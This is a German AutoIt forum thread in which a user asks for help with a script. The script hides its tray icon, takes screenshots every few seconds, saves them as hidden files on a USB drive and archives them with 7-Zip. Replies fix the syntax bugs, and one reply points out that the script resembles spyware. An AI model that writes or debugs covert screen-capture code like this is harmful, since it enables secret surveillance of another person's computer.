Dateien verpacken und Speichern

  • Hallo, bin neu hier :)
    Ich schreibe schon in AutoIt erst seit ein paar monaten und hab ein Problem des bis spätestens Samstag gelöst werden muss...
    Weil ich mich mit meinem Bruder am Samstag nachmittag treffe wegen seinem PC.
    USB-Laufwerk wird hier als X: bezeichnet.
    Problem:
    Die 7-Zip CMD-Konsole startet nicht und packt auch nicht und ich weiß nicht was ich falsch mache...
    7-Zip sollte alle ".jpg" Dateien die hier erstellt werden einpacken ins .7z - Format.
    Ich hoffe sehr dass ihr mir dabei helfen könnt ;)
    Hier der Code:

    Spoiler anzeigen
    [autoit]

    #include <GuiConstantsEx.au3>
    #include <TreeViewConstants.au3>
    #include <File.au3>
    #include <FileConstants.au3>
    #include <ScreenCapture.au3>

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayIconHide", 1)
    $start = FileOpen("X:\start.txt",2)
    FileWrite($start, "Gestartet um: " & @HOUR & ":" & @MIN)
    FileClose($start)
    Sleep(10000)
    _ScreenCapture_SetJPGQuality(90)
    $i = 0
    While $i <= 10
    Sleep(1000)
    $var = DriveSpaceFree("X:\")
    If $var < 1 Then
    $file = FileOpen("X:\file.txt",2)
    FileWrite($file, "Nicht mehr gen¸gend Speicher gehabt um: " & @HOUR & ":" & @MIN)
    FileClose($file)

    [/autoit] [autoit][/autoit] [autoit]

    Exit
    ExitLoop
    Else
    Sleep(5000)
    EndIf
    $plugin = DriveSpaceTotal("X:\")
    If @error Then ;Wenn der USB-Stick rausgezogen wird.
    MsgBox(4096, "ERROR", "Medium fehlt!")
    Exit
    ExitLoop
    Else
    _ScreenCapture_Capture("X:\" & @HOUR & "-" & @MIN & "-" & @SEC & ".jpg")
    FileSetAttrib("X:\*.jpg","+RH")
    EndIf
    $std = @HOUR
    $mins = @MIN
    If $std = 10 & $mins = 45 Then
    Run("7za.exe a Files.7z") ; Hier ungefähr ist der Fehler :(
    Else
    MsgBox(0,"fehler","error")
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    WEnd

    [/autoit]

    Danke schon mal im vorraus :)
    Gruß
    Fabi

    3 Mal editiert, zuletzt von Fabi (2. Juni 2011 um 15:33)

  • Oh cool danke für die schnelle Hilfe...
    Hab ich glatt übersehen... ;(
    Vllt. sollte ich mir ne Brille kaufen XD

  • [autoit]


    If $std = 10 & $mins = 45 Then
    Run("7za.exe a Files.7z") ; Hier ungefähr ist der Fehler :(

    [/autoit]

    Würde ausserdem mal behaupten, dass deine if Bedingung fehlerhaft ist. Das & sollte durch ein AND ersetzt werden. Davon abgesehen ist es fraglich wie sinnvoll es ist die Dateien genau um diese Uhrzeit zu packen, wäre es nicht sinnvoller das zu tun, wenn kein Platz mehr vorhanden ist? Die Fehlermeldung dürfte ebenfalls jeden Schleifendurchgang erscheinen, wenn nicht gerade zufällig 10:45 Uhr ist. Ahja und um 10:45 wird das Script zum Packen mehrfach gestartet, bis es endlich 10:46 ist, ebenfalls wenig sinnvoll.

    Ausserdem dürfte oben das Logfile nicht mehr geschrieben werden wenn weniger als 1 Byte Platz vorhanden ist, da solltest du wohl etwas früher reagieren.

    Was auch noch auffällt ist, dass deine Abbruchbedingung der while Schleife unsinnig ist, weil du $i nie veränderst, stattdessen könntest du genausogut "while 1" verwenden. Das ganze ist aber btw schon sehr nahe an einem Trojaner / Spyware / Keylogger was auch immer, insbesondere weil du das Trayicon und auch die erzeugten jpg Dateien versteckst. Das einzige was dir zugute kommt ist die Tatsache, dass jedemenge Fehlermeldungen eingebaut wurden und 7zip nicht versteckt ausgeführt wird.

    2 Mal editiert, zuletzt von misterspeed (2. Juni 2011 um 13:41)

  • Danke ich hab bis jetz immer & statt AND benutzt, hat ja auch funktioniert aber is dann viel besser wenn es so läuft.
    Ja es war einfach mal 10:45 Uhr wegen dem testen gedacht weil ich ja auch mal nicht am PC bin sondern auch beim rauchen usw...
    Und das Logfile bzw. die Text-Datei wurde ja schon erstellt und von daher ist dieser "Byte" unwichtig :P
    Das "while 1" ist mir neu weil es in der dt. Hilfe datei anscheinend falsch verstanden habe.
    Ja so in der art Virus soll des jedenfalls nicht sein weil ich keinen Virus schreibe oder sonst noch was.
    Und wenn ich es jetzt nicht falsch verstehe, dann kann 7zip versteckte daten nicht packen oder??

    Jedenfalls danke..
    Hilft mir sehr viel weiter ;)